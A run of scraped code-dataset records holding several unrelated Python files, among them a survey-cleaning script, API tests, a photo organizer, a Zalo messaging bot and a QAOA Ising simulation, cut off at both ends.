Date started')\n\n# Column processing\n# Go through mapping CSV which indicates what to do with each 2022 column\n# to make the 2022 data compatible with the 2018 data\n# For each 2022 column, this could be Ignore it, Rename it with a given name, or SearchReplace it\n# which renames the column to match one in the 2018 data\nmapping_df = pd.read_csv('clean_scripts/survey_column_mapping.csv')\n\n# Apply the column processing actions (not the delete ones, since they would have been\n# done during the prior preclean step)\nactions_other_df = mapping_df[mapping_df['Action'] != 'Delete']\napply_actions(fix_df, ref_df, actions_other_df)\n\n\n# Further cleaning - merging columns and other cleaning to match 2018 data format\n\n# Replace 15+s in various columns\nfix_df[DEVEXP_COL] = fix_df[DEVEXP_COL].replace({'15+': '15'})\nfix_df[SOFTPROJ_COL] = fix_df[SOFTPROJ_COL].replace({'15+': '15'})\n\n# Merge prevEmp1 into single column, as per 2018.csv\nfix_df[PREVEMP1_COL] = (\n fix_df.loc[:, [PREVEMP1_COL, PREVEMP1_DE_COL]]\n .fillna(\"\")\n .agg(\"\".join, axis=1)\n .map(str.strip)\n)\nfix_df = fix_df.loc[:, ~fix_df.columns.str.startswith(PREVEMP1_DE_COL)]\n\n# Merge currentEmp2 into single column, as per 2018.csv\nfix_df[CURRENTEMP2_COL] = (\n fix_df.loc[:, fix_df.columns.str.startswith(\"currentEmp2q\")]\n .fillna(\"\")\n .agg(\"\".join, axis=1)\n .map(str.strip)\n)\nfix_df = fix_df.loc[:, ~fix_df.columns.str.startswith(\"currentEmp2q\")]\n\n# Clean all prefer not to answer type answers\nfix_df.replace('Prefer not to answer', np.NaN, inplace=True)\nfix_df.replace('Do not wish to declare', np.NaN, inplace=True)\nfix_df.replace('Do not wish to answer', np.NaN, inplace=True)\nfix_df.replace(\"I don't know\", np.NaN, inplace=True)\nfix_df.replace(\"Don't want to answer\", np.NaN, inplace=True)\n\n# Clean all 'Other' answers, collapse them all into 'Yes'\n# This also applies to a single socio5usqus question\n# Applies to multiple-choice and single answer style questions\nfor col in fix_df.columns:\n if col[-7:] == '[Other]':\n # Replace all the values with 'Yes'\n fix_df[col] = fix_df[col].apply(lambda x: 'Yes' if not pd.isnull(x) else np.nan)\n\n# The final, precleaned and cleaned data ready for analysis\nfix_df.to_csv('data/2022.csv', index=False)\n","sub_path":"clean_scripts/clean_survey.py","file_name":"clean_survey.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"519584381","text":"from project.tests.base import BaseTestCase\n\n\nclass TradeFairnessTest(BaseTestCase):\n def test_close_exp_groups_are_considered_fair(self):\n token = self.create_token()\n\n exp_groups = [(50, 55), (120, 150), (660, 600), (1200, 1300), (2149, 2000)]\n\n for group in exp_groups:\n query = {\n 'groupOneExp': group[0],\n 'groupTwoExp': group[1],\n }\n response = self.client.get('/api/trades/fairness', query_string=query, headers=token)\n data = response.json\n\n self.assert200(response)\n self.assertTrue(data['fair'])\n\n def test_far_exp_groups_are_considered_unfair(self):\n token = self.create_token()\n\n exp_groups = [(50, 75), (120, 180), (700, 600), (1200, 1301), (2200, 2000)]\n\n for group in exp_groups:\n query = {\n 'groupOneExp': group[0],\n 'groupTwoExp': group[1],\n }\n response = self.client.get('/api/trades/fairness', query_string=query, headers=token)\n data = response.json\n\n self.assert200(response)\n self.assertFalse(data['fair'])\n \n def test_unfair_trades_show_the_benefitted_trainer(self):\n token = self.create_token()\n\n trainer_one_benefits = [(50, 75), (120, 180), (600, 700), (1200, 1301), (2000, 2200)]\n trainer_two_benefits = [(75, 50), (180, 120), (700, 600), (1301, 1200), (2200, 2000)]\n\n for group in trainer_one_benefits:\n query = {\n 'groupOneExp': group[0],\n 'groupTwoExp': group[1],\n }\n response = self.client.get('/api/trades/fairness', query_string=query, headers=token)\n data = response.json\n\n self.assert200(response)\n self.assertFalse(data['fair'])\n self.assertEqual(data['benefittedTrainer'], 'group_one')\n \n for group in trainer_two_benefits:\n query = {\n 'groupOneExp': group[0],\n 'groupTwoExp': group[1],\n }\n response = self.client.get('/api/trades/fairness', query_string=query, headers=token)\n data = response.json\n\n self.assert200(response)\n self.assertFalse(data['fair'])\n self.assertEqual(data['benefittedTrainer'], 'group_two')\n \n def test_fairness_fails_if_exp_less_than_one(self):\n token = self.create_token()\n \n exp_groups = [(0, 0), (0, 150), (660, 0), (-20, 1300), (2149, -100), (-10, -15)]\n\n for group in exp_groups:\n query = {\n 'groupOneExp': group[0],\n 'groupTwoExp': group[1],\n }\n response = self.client.get('/api/trades/fairness', query_string=query, headers=token)\n data = response.json\n\n self.assertEqual(response.status_code, 400)\n\n","sub_path":"project/tests/test_fairness.py","file_name":"test_fairness.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"148717926","text":"import os\nimport shutil\nimport glob\nfrom PIL import Image\nfrom PIL.ExifTags import TAGS, GPSTAGS\nfrom exiftool import ExifToolHelper\n\n\ndef getMonth(month):\n months = {\n '01':'January',\n '02':'February',\n '03': 'March',\n '04': 'April',\n '05': 'May',\n '06': 'June',\n '07': 'July',\n '08': 'August',\n '09': 'September',\n '10': 'October',\n '11': 'November',\n '12': 'December'\n }\n\n return months.get(month, 'Month not found')\n\ndef checkPath(path):\n # If it does not exist\n if os.path.exists(path) == False:\n os.makedirs(path)\n # If it exists\n else:\n pass\n\n\nwith open(\"ReorganizeErrors.txt\",\"r\") as file_text:\n lines = file_text.readlines()\n for line in lines:\n try:\n image_trim = line.split(\"** \")[1] \n image_obj = image_trim.split(\"\\n\")[0]\n\n # exif = {}\n \n with ExifToolHelper() as et:\n for d in et.get_metadata(image_obj):\n file_type = d[\"File:MIMEType\"]\n if \"video\" in file_type:\n # print(d[\"SourceFile\"])\n # print(d[\"File:FileName\"])\n # print(d[\"File:FileModifyDate\"])\n # print(\"\\n\")\n image_date_time = d['File:FileModifyDate']\n year = image_date_time.split(\":\")[0]\n month = getMonth(image_date_time.split(\":\")[1])\n image_name = d['File:FileName']\n directory = '{}{}\\\\{}'.format('E:\\\\Video\\\\',year,month)\n # print(directory)\n checkPath(directory)\n original = '{}'.format(d[\"SourceFile\"])\n # print(original)\n target = '{}\\\\{}'.format(directory,image_name)\n # print(target)\n\n shutil.copy(original, target)\n else:\n image_date_time = d['File:FileModifyDate']\n year = image_date_time.split(\":\")[0]\n month = getMonth(image_date_time.split(\":\")[1])\n image_name = d['File:FileName']\n directory = '{}\\\\{}\\\\{}'.format('E:\\\\UnkownTypes',year,month)\n checkPath(directory)\n\n original = '{}'.format(d[\"SourceFile\"])\n # print(original)\n target = '{}\\\\{}'.format(directory,image_name)\n # print(target)\n\n shutil.copy(original, target)\n \n except Exception as e:\n print(e)","sub_path":"python/Organize_Photos/MoveVideoAndUnknown.py","file_name":"MoveVideoAndUnknown.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"530860771","text":"\"\"\"\nMy try at making hammings work. It only works if all the entries are different.\n\nFor example, [0.4, 0.3, 0.2, 0.1] will work, [0.6, 0.2, 0.1, 0.1] will not\n\"\"\"\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport math as m\n\nprob = [0.4, 0.3, 0.2, 0.1]\n\ndef reduce_list(list_, index):\n \"\"\"\n Takes a list and returns all the items up to the index, and the sum of all others\n Note to self: [a:b] = [a,b)\n \"\"\"\n temp = [x for x in sorted(list_[0:index], reverse=True)]\n temp.append(m.fsum(list_[index:]))\n return temp\n\nhamming = {}\ndone = []\nfor p in prob:\n hamming[index] = ''\n\nfor i in range(1,len(prob)):\n reduced = reduce_list(prob, i)\n reduced_clean = [r for r in reduced if r not in done] # Not sure why this works, but is necessary\n\n for r in reduced_clean:\n if r in prob:\n if r not in done:\n hamming[str(r)] += '1'\n done.append(r)\n\n for p in prob:\n if p != r and p not in done:\n hamming[str(p)] += '0'\n\nprint(hamming)","sub_path":"HammingsCode/hamming_2.py","file_name":"hamming_2.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"529570807","text":"'''Write a function triple_double(num1, num2) which takes numbers num1 and num2 and returns 1 if \nthere is a straight triple of a number at any place in num1 and \nalso a straight double of the same number in num2.\n\nIf this isn't the case, return 0\n\nExamples\ntriple_double(451999277, 41177722899) == 1\n# num1 has straight triple 999s and num2 has straight double 99s\n\ntriple_double(1222345, 12345) == 0\n# num1 has straight triple 2s but num2 has only a single 2\n\ntriple_double(12345, 12345) == 0\n\ntriple_double(666789, 12345667) == 1'''\n\n\ndef triple_double(num1, num2):\n global number1_found, number2_found\n \n num1 = str(num1)\n for number in num1:\n num1.count(number)\n if num1.count(number) >= 3:\n number1_found = number\n \n num2 = str(num2)\n for number in num2:\n num2.count(number)\n if num2.count(number) == 2:\n number2_found = number\n \n if number1_found == number2_found:\n return 1\n else:\n return 0\n\n\nif __name__ == \"__main__\":\n \n\n # TEST CASES #\n\n\n assert triple_double(1112, 122) == 0\n assert triple_double(451999277, 41177722899) == 1\n assert triple_double(1222345, 12345) == 0\n assert triple_double(12345, 12345) == 0\n assert triple_double(666789, 12345667) == 1\n assert triple_double(10560002, 100) == 1\n","sub_path":"Python_katas/katas_6kyu/triple_double.py","file_name":"triple_double.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"59188982","text":"import pymysql\nfrom queue import Queue\n\n\ndef main():\n # db = pymysql.connect(\"localhost\", \"root\", \"kill turn rut job then\", \"qemsd\")\n # c = db.cursor()\n mid = \"460316579\"\n # s = f\"select * from users\"\n # c.execute(s)\n # us = c.fetchall()\n # db.commit()\n\n # gr = {}\n # for u in us:\n # ui = u[3]\n # s = f\"select * from friends where user_id = {ui}\"\n # c.execute(s)\n # fs = c.fetchall()\n # db.commit()\n # if ui not in gr:\n # gr[ui] = []\n # for f in fs:\n # gr[ui].append(f[2])\n # f = open(\"user_friends.csv\", 'w')\n # for u in gr:\n # s = [u] + gr[u]\n # s = ','.join(s)\n # f.write(s + '\\n')\n # f.close()\n # gr = {}\n # f = open(\"user_friends.csv\", \"r\")\n # for line in f:\n # line = line.strip()\n # line = line.split(',')\n # nl = line[1:]\n # nl = sorted(nl)\n # gr[line[0]] = nl\n # f.close()\n\n # f1 = open(\"distances.csv\", 'w')\n # found = []\n # distance = {}\n # for i, u in enumerate(gr):\n # q = Queue()\n # if u not in found:\n # q.put(u)\n # found.append(u)\n # distance[u] = 0\n # while not q.empty():\n # cu = q.get()\n # if cu == mid:\n # break\n # if cu in gr:\n # gr[cu] = gr[cu][:500]\n # for f in gr[cu]:\n # if f not in found:\n # q.put(f)\n # distance[f] = distance[cu] + 1\n # found.append(f)\n # if u in distance:\n # f1.write(f\"{u},{distance[u]}\\n\")\n # else:\n # f1.write(f\"{u},0\\n\")\n\n # print(f\"index -> {i}\")\n # print(f\"distance -> {distance[u]}\")\n # f1.close()\n mx = -100000\n f = open(\"distances.csv\", 'r')\n gr = {}\n for line in f:\n line = line.strip()\n line = line.split(',')\n if float(line[1]) > mx:\n mx = float(line[1])\n gr[line[0]] = float(line[1])\n f.close()\n\n for u in gr:\n gr[u] = 1 - (gr[u] / mx)\n\n f = open(\"distances_2.csv\", 'w')\n for u in gr:\n print(u)\n print(gr[u])\n f.write(f\"{u},{gr[u]}\\n\")\n f.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Information Retrieval/python-twitter/calculate_user_similarities.py","file_name":"calculate_user_similarities.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"8621557","text":"# This file is placed in the Public Domain.\n\n\nimport unittest\n\n\nfrom bot.obj import Object, dumps, loads\n\n\nclass Test_JSON(unittest.TestCase):\n\n def test_json(self):\n o = Object()\n o.test = \"bla\"\n a = loads(dumps(o))\n self.assertEqual(a.test, \"bla\")\n\n def test_jsondump(self):\n o = Object()\n o.test = \"bla\"\n self.assertEqual(dumps(o), '{\"test\": \"bla\"}')\n","sub_path":"test/test_json.py","file_name":"test_json.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"488408873","text":"from ZaloFunctions import *\nfrom extract_data import ExtractData\nfrom PIL import ImageTk,Image\nimport codecs\n\nclass Zalo(ExtractData):\n ZALO_LOGIN = \"https://chat.zalo.me/\"\n #Data table parameters\n TBL_FIRST_ROW = 5 #first row of the table\n TBL_FIRST_COL = 'A'\n\n #Web parameter\n STEP_WAIT = 1\n\n #name of report file\n STATUS_FILE = 'status_summary.xlsx'\n\n #summary field\n SUMMARY_FILEDS =[\n 'Ngày giờ gửi tin',\n 'Trạng thái gửi tin',\n 'Ngày giờ trạng thái (nếu có)',\n 'Ghi chú',\n ]\n #GUI\n IMG_BROWSE = CURRENT_DIRECTORY + \"/images/browse.png\"\n IMG_MESSAGE = CURRENT_DIRECTORY + \"/images/message.png\"\n IMG_QUIT = CURRENT_DIRECTORY + \"/images/quit.png\"\n IMG_RESULT = CURRENT_DIRECTORY + \"/images/result.png\"\n HEIGHT = 30\n ENTRY_WIDTH = 100\n FONT = (\"Arial\", 10)\n\n def __init__(self):\n ExtractData.__init__(self)\n #file containning nick zalo\n self.nicks_path = \"\"\n self.nicks_ws = None\n #file containning must-send data\n self.data_path = \"\"\n self.data_wb = None\n #summary file\n self.status_summary = \"\"\n #Set up chrome profile\n self.browser = None\n self.contact_found = False\n\n @staticmethod\n def resize_image(image, maxsize):\n r1 = image.size[0]/maxsize[0] # width ratio\n r2 = image.size[1]/maxsize[1] # height ratio\n ratio = max(r1, r2)\n newsize = (int(image.size[0]/ratio), int(image.size[1]/ratio))\n image = image.resize(newsize, Image.ANTIALIAS)\n return image\n\n def browse_nicks(self):\n #file containning nick zalo\n path = get_excel_file('Chọn file chứa nick Zalo')\n if path != \"\":\n self.nicks_path = path\n\n def validate_zalo_file(self):\n if self.nicks_path == \"\":\n messagebox.showerror(\"Lỗi\", \"Bạn chưa chọn file chứa nick Zalo\")\n else:\n self.nicks_ws = openpyxl.load_workbook(self.nicks_path).active\n\n @staticmethod\n def create_driver(chrome_driver_path = 'chromedriver.exe'):\n default_cookie_path = os.path.join(\n os.environ.get(\"USERPROFILE\"),\n r\"AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies\")\n default_cookie_path = default_cookie_path.replace(\"\\\\\", \"/\")\n tmp_profile_dir = TemporaryDirectory().name\n tmp_profile_path = os.path.join(tmp_profile_dir, \"Default\")\n os.makedirs(tmp_profile_path)\n tmp_cookie_path = os.path.join(tmp_profile_path, \"Cookies\")\n shutil.copy(default_cookie_path, tmp_cookie_path)\n chrome_options = Options()\n chrome_options.add_argument(f\"user-data-dir={tmp_profile_dir}\")\n chrome_options.add_argument(\"disable-infobars\")\n chrome_options.add_argument(\"launch-simple-browser\")\n chrome_options.add_argument(\"start-maximized\")\n driver = webdriver.Chrome(\n executable_path=chrome_driver_path, options=chrome_options)\n return driver\n\n def login(self):\n \"\"\"\n \"\"\"\n try:\n if self.browser.current_url == self.ZALO_LOGIN:\n return\n except:\n pass\n # profile_path = \"C:/Users/Admin/AppData/Roaming/Mozilla/Firefox/Profiles/hy4g9l29.default\"\n # self.browser = webdriver.Firefox(FirefoxProfile(profile_path))\n self.browser = self.create_driver()\n self.browser.get(self.ZALO_LOGIN)\n while self.browser.current_url != self.ZALO_LOGIN:\n message('Thông báo', 'Xin vui lòng đăng nhập Zalo và bấm Ctrl+q để tiếp tục')\n keyboard.wait('ctrl+q')\n\n def _get_range(self, ws):\n \"\"\"\n return the range storing table in a worksheet\n \"\"\"\n last_col = pre_char(h_empty_cell(ws, row = self.TBL_FIRST_ROW))\n last_row = v_empty_cell(ws, col = self.TBL_FIRST_COL) - 1\n return 'A5:' + last_col + str(last_row)\n\n def _find_contact(self, nick):\n \"\"\"\n find contact and go to message\n contact_found = True if contact is found\n \"\"\"\n self.contact_found = True\n contact = self.browser.find_element_by_id('contact-search-input')\n contact.clear()\n contact.send_keys(nick)\n contact.click()\n time.sleep(self.STEP_WAIT)\n search_result = self.browser.find_elements_by_class_name(\"global-search-no-result\")\n if len(search_result) != 0:\n #contact not found\n self.contact_found = False\n return\n contact.send_keys(Keys.ENTER)\n time.sleep(self.STEP_WAIT)\n\n def _paste_to_contact(self, nick):\n \"\"\"\n paste data in clipboard in a zalo contact\n \"\"\"\n self._find_contact(nick)\n if not self.contact_found:\n return\n chat = self.browser.find_element_by_id('richInput')\n chat.send_keys(Keys.CONTROL, 'v')\n time.sleep(self.STEP_WAIT)\n self.browser.find_element_by_css_selector(\n '.btn.btn-txt.btn-primary.btn-modal-action').click()\n time.sleep(self.STEP_WAIT)\n clear_clipboard()\n\n def _copy_and_paste(self, sheet_name, data_range, nick):\n \"\"\"\n To fix permission error in fee_summary\n \"\"\"\n xlwb = self.excel.Workbooks.Open(self.data_path)\n try:\n xlwb.Worksheets(sheet_name).Range(data_range).Copy()\n self._paste_to_contact(nick)\n except:\n pass\n xlwb.Close(True)\n\n def send_data(self):\n if self.ws is None:\n return\n self.create_worksheets_to_send()\n self.data_path = self.fee_summary\n self.data_wb = openpyxl.load_workbook(self.fee_summary)\n\n #summary file\n status_summary = self.data_path.split('/')[:-1]\n status_summary.append(self.STATUS_FILE)\n self.status_summary = '/'.join(status_summary)\n\n last_row = v_empty_cell(self.nicks_ws, col = 'B')\n for r in range(2, last_row, 1):\n group_name = self.nicks_ws[\"A\" + str(r)].value\n nick = self.nicks_ws[\"B\" + str(r)].value\n if group_name in [None, \"\"] or nick in [None, \"\"]:\n continue\n\n #check whether a sheet corresponds to a group\n for sheet_name in self.data_wb.sheetnames:\n if normalize(sheet_name) in normalize(group_name):\n #if sheet name is found\n data_range = self._get_range(self.data_wb[sheet_name])\n self._copy_and_paste(sheet_name, data_range, nick)\n print(group_name + ' : ' + nick, self.contact_found)\n\n def _get_status(self, nick):\n \"\"\"\n return receipt acknowledgement of each nick\n \"\"\"\n summary = dict()\n for field in self.SUMMARY_FILEDS:\n summary.update({field: \"\"})\n self._find_contact(nick)\n time.sleep(self.STEP_WAIT)\n if not self.contact_found:\n summary.update({\"Ghi chú\": \"Không tìm thấy nick zalo\"})\n return summary\n\n chat_date = self.browser.find_elements_by_class_name('chat-date')\n if len(chat_date) !=0:\n summary.update({\"Ngày giờ gửi tin\": chat_date[-1].get_attribute('textContent')})\n\n send_status = self.browser.find_elements_by_class_name('card-send-status')\n if len(send_status) != 0:\n summary.update({\"Trạng thái gửi tin\": send_status[-1].get_attribute('textContent')})\n\n receipt_time = self.browser.find_elements_by_class_name('card-send-time__sendTime')\n if len(receipt_time) != 0:\n summary.update({\"Ngày giờ trạng thái (nếu có)\": receipt_time[-1].get_attribute('textContent')})\n return summary\n\n def _create_status_summary(self):\n \"\"\"\n create header for summary file\n \"\"\"\n wb = openpyxl.load_workbook(self.nicks_path)\n ws = wb.active\n for i, value in enumerate(self.SUMMARY_FILEDS):\n ws.cell(row = 1, column = i+3).value = value\n save_excel(self.status_summary, wb)\n\n def report_status(self):\n \"\"\"\n summarize sending status\n \"\"\"\n #create report file\n self._create_status_summary()\n wb = openpyxl.load_workbook(self.status_summary)\n ws = wb.active\n last_row = v_empty_cell(ws, col = 'B')\n for r in range(2, last_row, 1):\n found = False\n group_name = ws[\"A\" + str(r)].value\n nick = ws[\"B\" + str(r)].value\n if group_name in [None, \"\"] or nick in [None, \"\"]:\n continue\n #check whether a sheet corresponds to a group\n for sheet_name in self.data_wb.sheetnames:\n if normalize(sheet_name) in normalize(group_name):\n found = True\n summary = self._get_status(nick)\n ws['C' + str(r)] = summary['Ngày giờ gửi tin']\n ws['D' + str(r)] = summary['Trạng thái gửi tin']\n ws['E' + str(r)] = summary['Ngày giờ trạng thái (nếu có)']\n ws['F' + str(r)] = summary['Ghi chú']\n break\n if not found:\n ws['F' + str(r)] = 'Không tìm thấy sheet chứa dữ liệu'\n save_excel(self.status_summary, wb)\n message('Thông báo', 'Đã gửi tin nhắn thành công')\n\n def close(self):\n self.browser.quit()\n\nclass Gui(Zalo):\n SAVED_PATHS = CURRENT_DIRECTORY + \"/saved_paths.txt\"\n\n def __init__(self):\n print (self.SAVED_PATHS)\n Zalo.__init__(self)\n self.input_ok = True\n self.root = tk.Tk()\n self.root.grid()\n paths = self._get_saved_paths()\n print(paths)\n self.nicks_path, self.file_path = r'D:\\Documents\\University\\PROJECT\\Python_RPA\\bot_zalo\\Bot Zalo_v0\\nick.xlsx', paths[1]\n\n self.btn_open = None\n\n photo = self.resize_image(Image.open(self.IMG_BROWSE),[self.HEIGHT,self.HEIGHT])\n self.img_browse = ImageTk.PhotoImage(photo)\n\n photo = self.resize_image(Image.open(self.IMG_MESSAGE),[self.HEIGHT,self.HEIGHT])\n self.img_message = ImageTk.PhotoImage(photo)\n\n photo = self.resize_image(Image.open(self.IMG_QUIT),[self.HEIGHT,self.HEIGHT])\n self.img_quit = ImageTk.PhotoImage(photo)\n photo = self.resize_image(Image.open(self.IMG_RESULT),[self.HEIGHT,self.HEIGHT])\n self.img_result = ImageTk.PhotoImage(photo)\n\n self.nick_entry = tk.Entry(self.root, state = tk.NORMAL, width = self.ENTRY_WIDTH)\n self.nick_entry.insert(0, self.nicks_path)\n self.nick_entry.config(state = \"readonly\")\n\n self.fee_entry = tk.Entry(self.root, state = tk.NORMAL, width = self.ENTRY_WIDTH)\n self.fee_entry.insert(0, self.file_path)\n self.fee_entry.config(state = \"readonly\")\n\n @staticmethod\n def _get_saved_paths(path = SAVED_PATHS):\n f = open(path, encoding='utf-8', mode='r')\n st = f.read()\n print(st)\n f.close()\n return st.split(\"\\n\")\n\n def _save_paths(self, path = SAVED_PATHS):\n f = codecs.open(path, encoding='utf-8', mode='w')\n f.write(self.nicks_path + \"\\n\" + self.file_path)\n f.close()\n\n def gui_browse_nick(self):\n self.browse_nicks()\n self.nick_entry.config(state = tk.NORMAL)\n self.nick_entry.delete(0, tk.END)\n self.nick_entry.insert(0, self.nicks_path)\n self.nick_entry.config(state = \"readonly\")\n self._save_paths()\n\n def gui_browse_fee(self):\n self.browse_file()\n self.fee_entry.config(state = tk.NORMAL)\n self.fee_entry.delete(0, tk.END)\n self.fee_entry.insert(0, self.file_path)\n self.fee_entry.config(state = \"readonly\")\n self._save_paths()\n\n def _format_gui(self):\n self.root.geometry(\"900x150\")\n self.root.title(\"Zalo Automation\")\n\n def open_status(self):\n os.startfile(self.status_summary)\n\n def check_input(self):\n self.validate_zalo_file()\n self.validate_fee_data()\n if self.nicks_ws is None or self.ws is None:\n self.input_ok = False\n\n def login_and_send(self):\n self.check_input()\n if not self.input_ok:\n return\n self.login()\n self._hide_excel()\n self.send_data()\n self._show_excel()\n self.report_status()\n if self.status_summary != \"\":\n self.btn_open.config(state = tk.NORMAL)\n else:\n self.btn_open.config(state = tk.DISABLED)\n self.browser.get(self.ZALO_LOGIN)\n\n def quit(self):\n self.root.quit()\n self._show_excel()\n exit()\n\n def main(self):\n self._format_gui()\n self.nick_entry.grid(row = 1, column = 2)\n self.fee_entry.grid(row = 3, column = 2)\n label_nick = Label(\n self.root,\n text = \"Chọn file chứa nick Zalo\",\n font = self.FONT\n )\n label_nick.grid(row = 1, column = 0, sticky = tk.W)\n\n btn_get_nick = Button(\n self.root,\n image = self.img_browse,\n command = lambda: self.gui_browse_nick(),\n height = self.HEIGHT + self.FONT[1],\n font = self.FONT\n )\n btn_get_nick.grid(row = 1, column = 1, sticky = tk.E)\n\n label_fee = Label(\n self.root,\n text = \"Chọn file tổng hợp thu phí\",\n font = self.FONT\n )\n label_fee.grid(row = 3, column = 0, sticky = tk.W)\n\n btn_get_data = Button(\n self.root,\n image = self.img_browse,\n command = lambda: self.gui_browse_fee(),\n font = self.FONT\n )\n btn_get_data.grid(row = 3, column = 1, sticky = tk.E)\n\n btn_send = Button(\n self.root,\n text = \"Gửi tin nhắn\",\n image = self.img_message,\n compound = tk.TOP,\n command = lambda: self.login_and_send()\n )\n btn_send.grid(row = 4, column = 1, sticky = tk.S)\n\n if self.status_summary == \"\":\n state = tk.DISABLED\n else:\n state = tk.NORMAL\n\n self.btn_open = Button(\n self.root,\n text = \"Mở file tổng hợp tin nhắn\",\n image = self.img_result,\n compound = tk.TOP,\n command = lambda: self.open_status(),\n state = state\n )\n self.btn_open.grid(row = 4, column = 2)\n\n btn_quit = Button(\n self.root,\n text = \"Thoát\",\n image = self.img_quit,\n compound = tk.TOP,\n command = lambda: self.quit()\n )\n btn_quit.grid(row = 4, column =3)\n\nif __name__ == '__main__':\n bim = Gui()\n bim.main()\n bim.root.mainloop()\n\n\n\n\n","sub_path":"zalo_bot.py","file_name":"zalo_bot.py","file_ext":"py","file_size_in_byte":14873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"489369725","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 9 10:56:04 2021\n\n@author: AndreaB.Rava\n\"\"\"\n\nimport numpy as np\nimport qutip as qu\nimport qaoa\nimport qucompsys as qucs\n\ndef binomial_dist (prob, edges):\n bin_prob_dist = np.random.binomial(1, prob, size=(len(edges),)) # 1 for ferromagnetic link\n for i, link in enumerate (bin_prob_dist):\n if link == 0:\n bin_prob_dist[i] = -1\n return bin_prob_dist\n\n\ndef evaluate_energy_ising(list_z, edges, bin_prob_dist, coupling_const=1):\n energy = 0\n for i, edge in enumerate(edges):\n energy += -bin_prob_dist[i]*list_z[edge[0]]*list_z[edge[1]]\n return coupling_const*energy\n\n\ndef evaluate_magnetization_ising(list_z):\n return abs(sum(list_z))\n\n\ndef prob_hamilt_ising(n_qubits, edges, bin_prob_dist, coupling_const=1):\n if n_qubits < 2:\n raise ValueError('number of qubits must be > 1, but is {}'.format(n_qubits))\n list_double_sigmaz = []\n for i, edge in enumerate(edges):\n list_double_sigmaz.append(\n qucs.n_sigmaz(n_qubits,edge[0])*qucs.n_sigmaz(n_qubits,edge[1])*bin_prob_dist[i]\n ) \n return -sum(list_double_sigmaz)*coupling_const\n\n\ndef evolution_operator_ising(n_qubits, edges, gammas, betas, bin_prob_dist):\n if len(gammas) < 1:\n raise ValueError('number of gammas must be > 0, but is {}'.format(len(gammas)))\n if len(betas) < 1:\n raise ValueError('number of gammas must be > 0, but is {}'.format(len(betas)))\n if len(betas) != len(gammas):\n raise ValueError('number of gammas must be = number of betas')\n if n_qubits < 2:\n raise ValueError('number of qubits must be > 1, but is {}'.format(n_qubits))\n evol_oper = qucs.n_qeye(n_qubits)\n for i in range(len(gammas)):\n u_mix_hamilt_i = (-complex(0,betas[i])*qaoa.mix_hamilt(n_qubits)).expm()\n #u_prob_hamilt_i = (-complex(0,gammas[i])*qaoa.prob_hamilt(n_qubits, edges)).expm()\n u_prob_hamilt_i = (-complex(0,gammas[i])*prob_hamilt_ising(n_qubits, edges, bin_prob_dist)).expm()\n evol_oper = u_mix_hamilt_i*u_prob_hamilt_i*evol_oper\n return evol_oper\n\n\ndef single_qubit_measurement_ising(qstate, qubit_pos):\n n_qubits = len(qstate.dims[0])\n M_i = (qucs.n_proj0(n_qubits, qubit_pos)*qstate)\n if qstate.dims[1][0] == 1:\n p0_i = qstate.dag()*M_i\n else:\n p0_i = M_i.tr()\n #p1_i = (n_proj1(n_qubits, i)*dm_dummy).tr()\n if np.random.random_sample() <= p0_i:\n outcome = [1]\n qstate = M_i/p0_i\n else:\n outcome = [-1]\n qstate = (qucs.n_proj1(n_qubits, qubit_pos)*qstate)/(1-p0_i)\n return outcome, qstate\n\n\ndef quantum_measurements_ising(n_samples, qstate):\n n_qubits = len(qstate.dims[0])\n outcomes = []\n for j in range(n_samples):\n outcome = []\n qstate_dummy = qstate.copy()\n for i in range(n_qubits):\n outcome_i, qstate_dummy = single_qubit_measurement_ising(qstate_dummy, i)\n outcome += outcome_i\n outcomes.append(outcome)\n return outcomes\n\n\ndef evaluate_energy_p(params, n_qubits, edges, bin_prob_dist, n_samples):\n gammas = params[:int(len(list(params))/2)]\n betas = params[int(len(list(params))/2):]\n \n # initial state (as density matrix):\n #dm_init_state = qu.ket2dm(initial_state(n_qubits))\n init_state = qaoa.initial_state(n_qubits)\n #obtain final state\n #dm_fin_state = evolution_operator(n_qubits, edges, gammas, betas)*dm_init_state*evolution_operator(n_qubits, edges, gammas, betas).dag()\n fin_state = evolution_operator_ising(n_qubits, edges, gammas, betas, bin_prob_dist)*init_state\n #fin_state = qaoa.evolution_operator(n_qubits, edges, gammas, betas)*init_state\n\n \n #Perform N measurements on each single qubit of final state\n outcomes = quantum_measurements_ising(n_samples, fin_state)\n dict_outcomes = {}\n for outcome in outcomes:\n dict_outcomes[tuple(outcome)] = outcomes.count(outcome)\n \n #Evaluate Fp\n Ep = 0\n for outcome_w in dict_outcomes:\n Ep += dict_outcomes[outcome_w]*evaluate_energy_ising(outcome_w, edges, bin_prob_dist)\n return Ep/n_samples\n\n\ndef evaluate_magnetization_p(params, n_qubits, edges, bin_prob_dist, n_samples):\n gammas = params[:int(len(list(params))/2)]\n betas = params[int(len(list(params))/2):]\n \n # initial state (as density matrix):\n #dm_init_state = qu.ket2dm(initial_state(n_qubits))\n init_state = qaoa.initial_state(n_qubits)\n #obtain final state\n #dm_fin_state = evolution_operator(n_qubits, edges, gammas, betas)*dm_init_state*evolution_operator(n_qubits, edges, gammas, betas).dag()\n fin_state = evolution_operator_ising(n_qubits, edges, gammas, betas, bin_prob_dist)*init_state\n \n #Perform N measurements on each single qubit of final state\n 